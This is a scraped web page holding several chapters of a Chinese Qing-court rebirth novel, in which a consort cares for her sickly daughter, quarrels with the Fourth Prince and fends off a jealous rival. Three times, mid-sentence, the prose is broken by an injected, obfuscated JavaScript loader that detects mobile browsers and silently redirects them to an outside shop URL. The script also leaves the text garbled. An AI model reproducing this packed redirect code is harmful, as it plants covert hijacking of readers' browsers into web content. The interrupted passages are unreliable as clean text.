“可以用药调理,只是心病还需心药医。这主要还是得侧福晋自己能解开心结才是。”刘沧湄回了四爷,转头又看向年月明劝慰。 他刚才观之这孩子气色不错,还以为身子有所好转,未曾想心里竟也是这么苦。 他在宫里待过多年,这种病看过很多。 伴君如伴虎,整日提心吊胆,处处小心,实在耗费心神,再加上孩子生来病弱,这心情怎么能好的起来。 福满又何尝不知道这里面有她的因素。 她本来不确定这副身子,到底什么时候夭折,但是刚才瞧着这位外伯公给她诊脉时的脸色,心中就有点数了。 虽然她有点不舍美人娘,但与那点不舍相比,她还是更想回到现代。 她越是心里坚持,越是觉得愧疚,鼻间顿时酸的不行,一下竟是流出了眼泪。 年月明慌忙将她抱起,拿着帕子给她擦泪,“乖乖,额娘没事。不哭不哭。” 刘沧湄瞧见这一幕,也跟着心疼,“老朽前些年偶得了一株药草,制成了两颗药丸。虽不是救命仙药,但可以救急。要紧之时能护住心脉。初次见四格格没备什么见面礼,还望王爷和侧福晋勿要嫌弃。” 说着就让人将锦盒拿了出来。 谁会出门天天身上带着锦盒呢,这分明是刘沧湄借着今日,故意送给她们母女的。四爷心中感激,说话也更亲近了几分。 年月明接过锦盒闻着那熟悉的药味,便知道了这药的珍贵。 这药她前世吃过。 前世二哥出事,朝堂上下议论纷纷。恰好圆明园刚修缮好,四爷带了她去圆明园养病。 远离了京城,朝中风声都被阻挡在了圆明园之外,再也进不了她的耳中。 雍正三年十一月,皇帝离开圆明园去景陵祭祀。她无意间从宫人口中得知年家也有连坐之嫌,焦灼之下犯了心疾。彼时刘太医奉命守在圆明园为她治病,情急之下拿出了这药,拖住了她几日性命。 “这药难得,我留一颗,剩下的伯父收回去吧。” 上一世这药帮了年月明多活了几日,为年家争取了些生机。这一世她能重新来过,二哥她是管不了的,但是年家她会尽力保全。 福满还没度过前世的劫难,这药年月明又不能完全不收。所以反复思量后涎着脸求一颗就是了。 刘沧湄哪肯再收回去,直接塞到了福满手中,“药草虽是难得,但也不是绝迹了。日后若是能寻到再配就是了。再说这是给四格格的见面礼,不是给你的。月儿既然把我当长辈,就不要再推辞了。你额娘不收,四格格你收着。”说着颇为慈爱的摸了摸福满的脑袋。 福满手中拿着那锦盒,带着水光的眼睛乞求的看向年月明。她自然希望美人娘不再像历史上那样早逝。 虽是不知这药是不是有那么神奇,可既然有这个可能总要试试才是。 那样她走的也可以安心了。 年月明摸了摸她的头,不等说话却听四爷直接命令,“你替你额娘收着。” 刘沧湄医术超群,真能配出来救命药也不是不可能。若真能保住她母女的命,这份恩情他记住了。 四爷想到此又安抚年月明,“爷派人去寻那草药,寻到之后再还与老太医就是了。” 如此年月明只好才让人收下了。 “伯父虽是身子骨硬朗,但到底年岁大了。日后采药这等事,还是别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322288|197664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲自去了。” 前世满满夭折后,她身心俱疲甚少和外面联系。直到后来才偶然从刘太医口中得知,刘叔叔采药时,遇到山洪意外去世了。 这话刘沧湄从儿子刘明仪口中听过多次,每次听都没当回事,反而觉得这小子说他老了,一听就是一顿骂。但看着侄女担忧挂怀的模样,却觉得心里暖融融的,到底是女孩子贴心,会关心人。 随即笑着点了点头,“我知道了,侧福晋不必挂念。” 之后几人又说了会子话,刘沧湄就告辞了。 等人走后,四爷让人先抱走了福满,才坐到她身边问道:“月儿,你到底有什么心事?为何不和爷说?” 往日里他只当她这种书读的多的女子惯来多思,却未曾想到竟是严重到了郁结于心的程度。若不是今日被刘沧湄诊了出来,她竟还是想瞒着他? 年月明迎着他焦灼的目光,本能的回避躲开了,有些生硬地解释着,“爷不必担心,是妾身平日里想的有些多,时间久了压在心里,可能才这样吧。” 年月明心中也无奈,她的满满一日未度过前世劫难,她又如何能解开心结呢。 四爷显然不信,迫使她看向自己。 年月明到底拗不过他的手劲,终是被扳了过来,两人面对面,只听四爷又道:“爷知道你担忧满满。可也要先以你自己的身子为重啊。你身子弱,若是满满有个不好,如何承受得住?” 那孩子先天就有不足之症,若真是…… 年月明一听他这话,便知他所思所想,一股火止不住的涌上来,“能有什么不好?” 她一双美目直直的看着他,其间恼意和冷淡,令四爷心中一慌。 他怔了怔,连忙解释道:“是爷说错话了。你知道我不是那个意思。爷只是担心你身子弱经不住。有什么话,你说出来,咱们也好一起承担解决啊。这不比你闷在心里好?” 年月明心中冷嘲。 说出来他会如何解决?他只会把她强行带走,迫使她与自己的骨肉分离。 快刀斩乱麻,冷酷残忍。 所以和他说了有什么用呢。 年月明微微转开脸敷衍道:“四爷,我真的没事。” 四爷又如何瞧不出她根本不愿和他说,满腔热情,顿时被冷水浇灭了一半。 自她入府之后,他把她当心上人,当知己,把所有的热情都给了她。可如今想来,他在她心里算什么?她连句心里话,都不愿与他说。 “月儿,爷再问你一遍,你到底说不说?”四爷眉头皱了起来,手握得紧了些。年月明肩头略微吃痛,看他一眼,说话也带了刺,“您想让妾身说什么?我说了没什么事,你又不信,我还能再说什么?” 年月明不再挣脱他的束缚,只是看着逼近了自己,不过半肘距离的男人,只见他眉间已经聚了丝若有似无的戾气。 他是觉得委屈或者觉得真心被辜负? 当真可笑。 什么专房之宠,什么皇贵妃,她都可以不要! 她只希望她的孩子,能健康平安的活下来。可是他不懂,他总是按照他的想法强加给她所谓的最好的。 “好,你去吧!”半晌,肩上一轻,他终于放开了手,下了逐客令。 年月明起身,头也不回的离开了…… 17.一只小狗 春熙院 那拉氏刚从宫里回来。近来德妃身子不大舒服,她身为德妃的儿媳自是该进宫侍疾。 这几日她每日进宫,早出晚归,倒是忽略了府中的事宜。 哪成想今日刚回府,就见前院的张起麟,捧了对牌钥匙和账本过来。她细问之下才知道,原来几天前四爷因为二格格的事,发了好一通脾气,不仅将李氏骂了一顿,还直接将她手里的管家权也收回来了。 晚上珍珠一边给那拉氏捏腿放松,一边喜气洋洋的道:“那年,福晋您大病了一场,无力打理府中庶务,这才将部分管家权分了出去。这些年丹枫院那位仗着这个,可是没少捞好处。现在被收回来了,看她往后怎么得意。” 那拉氏也笑了,自听了这个消息,她只觉得这几日身体疲乏通通消失了。 “李氏敢对四爷瞒着二格格的病情,迟早会有这么一天。” 那天李氏不知死活戳她伤疤,她被逼急了才提了一嘴二格格,没想到这事竟然是真的。 珍珠哼笑一声,“那二格格也是个白眼狼,当年您那么疼她,她却只认李氏。现在被她这亲额娘坑了,也算是现世报了。” 当年弘晖阿哥离开,福晋终日郁郁寡欢,主子爷便让李氏将二格格送来了正院。 看着二格格,福晋心中多少有了些寄托,所以对她极好。 可没过多久,二格格却病了,身上还起了许多红疹,不吃不喝闹着要找李氏。 福晋怎么哄逗哄不住,倒好像是苛待了她似的。 主子爷看着到底心疼,还是让她回李氏那里去了。 那拉氏也似乎想到了往事,嗤笑了一声,“都是过去的事了,就别再提了。” 翡翠给那拉氏端了杯茶,换了个话题,“奴婢从前听说过这个‘赛神仙’。据说孝庄文皇后在世的时候,还曾赐过他‘第一圣手’的金匾额。不是说他自归家后,就很少给人看病了吗?主子爷是怎么请了他出山的?” 珍珠神秘的笑着,“你入府晚,不知道里面的关系。这人八成不是咱们主子爷请来的。” “不是主子爷请来的?那还能是谁请来的?” 珍珠也没故意吊她胃口,“宫中刘太医很少给宗室们瞧病,清辉院那位每次去请,每次都能请来,这里头除了主子爷的缘故,还因为年家。年家和刘家关系匪浅,那刘老太医八成是清辉院那位请来的。” 翡翠更不解了,“可是……年侧福晋和李侧福晋向来不对付啊,她怎么会主动搭人情,为二格格请大夫呢?” 二格格是主子爷唯一长成的女儿,自小便十分得宠。 李侧福晋也因着这个女儿沾了不少光。 年侧福晋虽然进府晚,却绝对不是个傻的。平日里瞧着李侧福晋经常显摆二格格那个得意劲儿,也该明白她在主子爷心中的地位才是。 “要不说年侧福晋是个妙人呢。奴婢之前还奇怪,怎么主子爷会突然请了太医去纳喇府呢。现在想来怕是那日请安之时,福晋提了一句二格格被她听进去了,回头私下和主子爷告了状。她也不怕这事是假的?反过来被主子爷猜疑厌弃?” 要知道主子爷最厌恶后宅女眷,将心思打到小主子们身上去了。 那拉氏放下茶盏,不以为意地笑笑,“咱们能打听到的事,年氏自然也能打听到,或许比咱们知道的还多些呢。说起来我倒是要谢谢年氏,若没有她,这管家权还不知道什么时候能收回来呢。” 珍珠捂嘴笑,“年侧福晋既然做了这好事,也该让大家都知道知道才是。” 那拉氏笑着点了点头,“做的时候小心点,别让主子爷发现。” * 自那日年月明从书房回来,四爷已经好几日没来清辉院了。虽然那日福满被抱走了,没听到他们说什么。但她有种感觉,这事应该还是和她有关。 福满跟着担忧了两日,后来瞧着年月明渐渐恢复了,往日的温柔平和,也随之放下心了。 母女俩每日在院里吃喝玩乐,好不自在。 没过几日,苏培盛就开始每日来给福满送些七巧板、九连环之类的小玩具。 这日福满百无聊赖的拆着九连环,就见苏公公又上门来了。 与之前的贵重的死物不同,这次竟是带来了一直活生生的小奶狗。 福满蹲在笼子前,带着几分好奇打量着,之间那小奶狗长了一身长长的毛,圆圆的黑黢黢的眼睛像是含了一汪水,黑色的小鼻子下面的嘴巴微微张开,吐出粉嫩的小舌头,就跟笑了似的。 许是察觉到福满善意的目光,那小奶狗还极为通人性的朝她示好,小声的汪汪叫了两声。 福满瞬间被萌到了。 苏培盛见状,连忙脸上堆着笑解释,“主子爷前段时间去别人家做客,见杂耍班子训狗热场子,其中一只刚出生不久的小奶狗腿被打断了,主子爷瞧不过去,就让人抱了回来好好养着。这狗性子最是柔顺乖巧,主子爷说四格格天天在屋里怪闷的,让这狗给她解闷玩……” 苏培盛边说边打量着年侧福晋的神色,对着她那双雾蒙蒙的美丽眼睛,颇有些不自在。 也不知道这两位主子,到底怄的什么气。 自那天年侧福晋走后,主子爷就在屋里枯坐了半天。 之后的两天一直沉着个脸。 到了第三天就让他来清辉院送礼物,还千叮咛万嘱咐是送给四格格的。 这礼物连着送了几日,也不见年主子有啥表示,眼见着主子爷脸更黑了…… 年月明点头,让白芷接过来那狗笼子。 白芷将笼子打开,只见那小奶狗欢快的奔向了福满,围着她转了一圈,停下来之后还用脑袋轻轻蹭着她的裙子。 福满蹲了下来,伸手摸了摸它的小脑袋。 小奶狗被揉的舒服哼哼唧唧的蹭着她的手。 “满满喜欢吗?” 福满听年月明问话, 忙把小手从小奶狗的脑袋上收了回来。小奶狗被她揉的正舒服,一见她收了手哪肯罢休, 两条短短的小后腿蹬在地上,两条小前腿扒住她的裙子不放。似是怕被福满抛弃,还仰着小脑袋冲她叫了两声,那模样既可爱又可怜。 福满安抚的拍了拍它,转头冲年月明笑着点头。 她欢喜,年月明也跟着欢喜,随即命人重赏苏培盛。 不想历来见财眼开的苏公公, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328055|197664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却说什么都不肯接那赏钱,甚至还带了几分讨好说道:“年主子,您瞧主子爷这几日实在太忙了,没腾出工夫,来后院看您和四格格。您也知道主子爷有眼疾,这一忙起来眼睛又不舒服了,您要不要去前院探望探望?” 苏培盛真不明白,这么个柔柔弱弱的美人,怎么胆子大成这样。主子爷都先低头了,还不见人家让一步呢。真把主子爷惹急了,受罪的不还是自己嘛。 苏培盛是真没招了,为了能少挨点骂,就是让他跪下来求这位祖宗他都愿意。 年月明哪里看不出苏培盛的心思,听他这般说也没急着说话,而是目光柔柔的看了一眼,旁边逗小狗玩的福满。 前世他也送过福慧一只小狗,却是一条细犬。 比不得这个讨女孩子欢心。 算他这礼物用些心了。 “四爷忙起来就忘了身体,有劳苏公公平日里多劝着些。去年入冬前我让人采了一些甘菊,前端时间刚做了甘菊露。苏公公让人兑了水,时常拿给四爷喝,可以清心明目。” 年月明说话之际,白蔻已经去了里间,取了两个手掌大的密封玻璃瓶,交给了苏培盛。 虽没请动这尊大佛去书房一趟,但也算有了交差之物。 苏培盛这才笑容满面的告辞离开了,不想刚出清辉院的门,拐了个弯儿,就见李氏朝着边过来。 她似是算准了时间,见他出门来,还步子快了几步。 苏培盛不好躲开,笑着迎面打了个千儿请安。 李氏扶了扶摇晃的耳饰,笑的阴阳怪气,“苏公公可真是大忙人呐,我使了人去找你,都见不到人。” “李主子说笑了,您找奴才什么事?” 李氏看了一眼玉壶,玉壶会意,连忙从袖子里拿出提前备好的礼,塞给苏培盛,笑着道:“主子找您自然是要给您送些好东西。这茶壶是翠玉的,苏公公快收好。” 苏培盛在四爷身边待了这些年,可没少见过好东西,打眼一瞧那成色就估摸出了价格,笑着推拒了几下,就顺势收在了袖子里。 “主子爷可消气了?” 见李氏出了血,苏培盛才肯透个实话了,“李主子,二格格那边一日好不了,主子爷这气就一日消不下去。您今个儿走这一遭,回去后就待在院里好生歇着吧。” 李氏搭进去一只玉壶,就得了这么一个消息,心中气急,却又不敢得罪苏培盛,还得客客气气的道:“王爷那里还得有劳苏公公为我美言几句了。” “李主子放心。主子爷那儿奴才一定尽力。” 得了他一句准话,李氏才算有了个笑脸,‘嗯’了一声放他离开了。 等他离开后,李氏又做了一番心理建设,这才继续朝清辉院走去。 那守门的小太监见人快到了门口,忙进去通传。 年月明听到禀报,皱眉的功夫,便明白了李氏的来意。 也不知从哪里传出的消息,说是她命人请的刘伯父,来给二格格医治。不出几日的时间,这事竟是在这府中快传了个遍。层层舆论之下李氏只能‘忍辱负重’走这一遭了。 年月明吩咐人备好茶水糕点,又让白青出门迎人…… 18.李氏道谢 自李氏进了清辉院,就开始用眼睛审视着,这院内的每一处。 她与年氏不对付,算起来这是她第一次来这清辉院。 年氏进府前,四爷让人将西边的院子重修了一遍,又在外面修了个花园,动静整的不小。 她自然也听下人说起过,这院子修的有多精巧美丽。 她当时只觉嗤之以鼻,修的再好也是在西边,从位置上就不如自己住的东院尊贵。 只是如今亲眼所见,才觉得一双眼睛,就仿佛被针刺了似的难受。 这院子很宽阔,只比正院小一点,可精致程度却远超正院。 中间一条青砖地面将院子隔成东西两部分。西侧用形状各异石头垒了一座假山,周围挖了个半弧状池塘,从外面引的活水,灌入墙内,春夏秋便能瞧见假山流水。东侧劈出一处小花园,如今冬日里只余几株腊梅绽放。据说后边还种了一片紫竹林,建了一座‘望舒亭’。春日赏花,夏日乘凉,秋日望月,冬日观雪,不难想象是何等的风雅…… 李氏出神的望着,手指不自觉的掐着玉壶的手,掐的玉壶生疼却也不敢表露出分毫,直到白青请安声入耳,她的手才算被解救出来。 李氏淡淡的‘嗯’了一声,藏起眸中的惊讶和嫉妒,扶着玉壶继续往里走。 福满正和白芷几个蹲在地上逗翩翩玩。 这名是刚才年月明起的,因为狗狗的毛发轻盈柔顺,跑起来长毛像是在翩翩起舞一般。 白芷几个见李氏过来,忙起身行礼。 福满上次被李氏阴阳怪气的讥讽,心里还记着仇呢,只当做没看见她,继续蹲在地上逗翩翩。 这时李氏忽然转了方向,朝她们这边走了来,不等福满起身,就见一双花盆底立在了眼前。 福满抬头望去,李氏也低着头俯视着她。 二人对视的一瞬,福满从那双眼睛里,看到了厌恶。 这时翩翩也凑了过来,热情的用小脑袋,蹭了蹭来人的小腿。 这是它表达善意的方式。 可下一瞬那双脚却踩在了翩翩身上。 翩翩被踩疼了,喉中呜咽着,却也不敢咬人,只会睁着一双委屈巴巴的眼睛看福满。 福满反应过来,顿时急了,一把猛地推开了那双脚,将翩翩捞了起来,摸着它的小脑袋轻轻安抚。 “这小畜生真没规矩。” 李氏骂的是狗,眼睛却是看向了福满。 指的是谁不言而喻。 白芷怕她伤害福满,连忙将福满护在身后,和李氏解释道:“这狗是主子爷今日刚命人送来的,若有得罪李侧福晋之处,还望侧福晋恕罪。” 李氏因为年月明‘告状’一事,被四爷夺了管家权,不仅不能流露出怨恨,还得上门来给年月明道谢,心里本来就气愤,来了这清辉院,又被那与众不同的景致晃了眼,更是恨极了。 四格格那死丫头她奈何不得,这贱婢她还不能收拾了? “好奴才,学会拿主子爷压我了。” 白芷连忙跪了下来,“奴婢不敢。” “既然不敢,那就罚你……” 不等李氏说完,就听一道温和的女声从屋里传来,“我这丫头犯了什么错,惹李侧福晋生这么大的气?” 话音刚落,年月明扶着白术出来了。 李氏见她出来,忙换了一副嘴脸,作出一副语重心长的模样教导道:“年妹妹纵的院里的奴才忒没规矩了些,竟然拿主子爷压我。若不好生管教管教,日后定然奴大欺主。” 李氏耍威风耍到她院里来了,任年月明再好的教养,心里也有些不喜了,“白芷是我的家生丫头,我二人一起长大,她什么性子我最清楚。若是犯了什么错,也该由我管教,就不牢李姐姐操心了。” 李氏强挤出来一个笑容,“我也是怕年妹妹年轻面皮薄,被下面奴才欺负了,情急之下才想帮年妹妹管教管教。” 年月明没搭理她,眸光看向站在一边的福满。只见福满和翩翩,一人一狗,都是垂头丧气的模样,年月明登时便心疼了起来,柔声唤道:“满满来额娘这儿。” 福满看到年月明,没来由感觉到心安,就像有了依靠一样,此时听到她唤自己,连忙抱着翩翩跑了过去。 年月明怜爱的摸着福满的小脑袋,“怎么瞧着有些不高兴了?” 福满一个成年人芯子倒也不是害怕李氏。只是刚才那一幕,让她想起了曾经上学的时候被霸凌的事,一时间有点ptsd了,如今被美人娘温柔的抚摸着,缓解了许多,听她问话,连忙伸手指了指李氏和翩翩,还用脚做了个踢的动作。 白芷怕年月明看不懂,主动解释道:“方才四格格逗着翩翩玩,李侧福晋走过来,翩翩蹭了蹭李侧福晋,被李侧福晋踢了一脚。” 年月明听罢,笑着看向李氏,“李侧福晋都多大年纪的人了,怎么会做这种打狗撵鸡的事呢?这中间怕是有什么误会吧?” 李氏听出年月明这是在拐着弯骂她呢,但此时理智稍稍恢复了些,知道今天不能和她吵起来,便笑着解释道:“年妹妹说的是,我有些怕狗,这狗一过来蹭我,把我吓了一跳,这才踢了它一下。” 怕狗还凑上来,糊弄鬼呢。 年月明似笑非笑的道:“原来是这样啊。那李姐姐回去后,还是请大夫瞧瞧吧,免得被翩翩吓出个好歹来,那它罪过就大了。” 李氏脸色讪讪的点了点头。 李氏到底是侧福晋,还是来拜访的客人,年月明也不好追着不放,便点到为止了。 进屋后用了盏茶,年月明便直接开门见山问道:“李姐姐今日来是为了何事?” 李氏招了招手让人,将几个锦盒放在了桌上,“多谢年妹妹给二格格请了刘老太医。区区薄礼,还望年妹妹笑纳。” 年月明不愿收,摇了摇头道:“不过是举手之劳而已,李姐姐不必见外,心意我收下了,礼物李姐姐收回去吧。” “既然已经送出,就没有收回来的道理。年妹妹不收,莫不是嫌弃我礼备的薄了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340328|197664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 李氏一进门就将这屋内陈设也大致扫了一遍。 年家自前朝就是官宦人家,几代人累积下来家底颇丰。年氏的陪嫁只比那拉氏少了八抬。虽说明面上少了八抬,那箱笼中却塞的满满当当的。当时年家送来嫁妆之时,抬杆都压断了两根。再加之年氏入府后极得四爷宠爱,他私库内源源不断的好东西,都涌入了清辉院。 这屋里的摆设竟是无一不精致。 李氏爱面子,这般想着更觉得年月明是嫌她这礼轻了,脸色愈发不好看了。 年月明瞧她这反应,大致猜出了她的心思,解释道:“李姐姐多虑了。李姐姐的礼物都是名贵珍品,我断然没有嫌弃的意思。只是觉得有些受之有愧。” 年月明确实有保住二格格的心思,但不可否认出发点,也有福满的原因。更何况她做了这事,也不是为了得到李氏的道谢。 李氏轻哼了一声,“有没有愧那是年妹妹自己的事。既然年妹妹做了这人尽皆知的好人,那我就不得不要来道谢了。不然后面还不知道会有什么流言蜚语传出来呢。” 年月明哪里愿意听她这劳什子猜忌,索性直接将话摊开了,当即便道:“李姐姐以为是我,将给二格格请刘老太医的事,传扬出去的?” 这事也不算什么机密,只要有人用心打听打听就能猜到。 她需要巴巴的去传扬吗? 李氏不想她问的这般直白,怔了怔,脸上露出了个讥讽的笑容,“难道不是吗?况且是与不是,结果不都一样吗?我不都得来给年妹妹道谢了?” 她很想看李氏来给她道谢吗? 年月明心里无语,坦然道:“不管李姐姐信与不信,反正不是我让人散布的消息。我也不稀罕你来给我道谢。” 李氏瞧着她眼底的并没有获胜的喜悦和得意,却没觉得释然,反倒像是被针刺了一般难受。 她因为年氏不仅丢了管家权,还要低三下四来给年氏道谢,她丢了这么大的人,年氏凭什么一副假清高不在意的样子? “好,即便散布消息的人不是你,那擅自插手二格格之事的人,总该是你了吧。若不是你撺掇着四爷给二格格请太医,我又怎会被他斥责,还丢了管家权!” 尤其是李氏想起那日四爷的话,心里更恨她多管闲事了。万一四爷不是气话,那弘时的世子之位岂不是真的没了。 年月明愕然,好一会子没说出话来。 二格格的情况,四爷既然告诉了她,也应该告知了李氏。 二格格患的是妊娠风痉,稍有不慎就会一尸两命。 李氏还怪她将此事告诉了四爷? 自己女儿的性命还比不过管家权重要吗? 年月明实在理解不了她的心思,也不想再和她多说什么。 “既然李姐姐诚心谢我,那这礼我就收下了。”她说着脸上露出些疲倦之色,直接送客道:“我就不留李姐姐多坐了。” 李氏本就不想多待,目的既然达到了,起身扭头走了……